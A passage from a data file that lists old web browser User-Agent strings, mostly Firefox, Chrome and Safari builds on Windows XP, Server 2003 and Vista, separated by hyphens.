Firefox/3.6.4 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Firefox/3.1b3pre -Mozilla/5.0 (Windows; U; Windows NT 5.2; eu) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.5) Gecko/Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20091111 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20100101 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0 (x86_64); de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ca; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.10 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 ( .NET CLR 3.5.30729; .NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.46 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.160.0 Safari/530.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.162.0 Safari/530.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.0 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.220.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.0 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.224.2 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.241.0 Safari/532.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.5 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.13) Gecko/20050610 K-Meleon/0.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.5.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.21022; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2) Gecko/20081127 Firefox/3.1b1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090405 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 BTRS86393 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-MX; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; 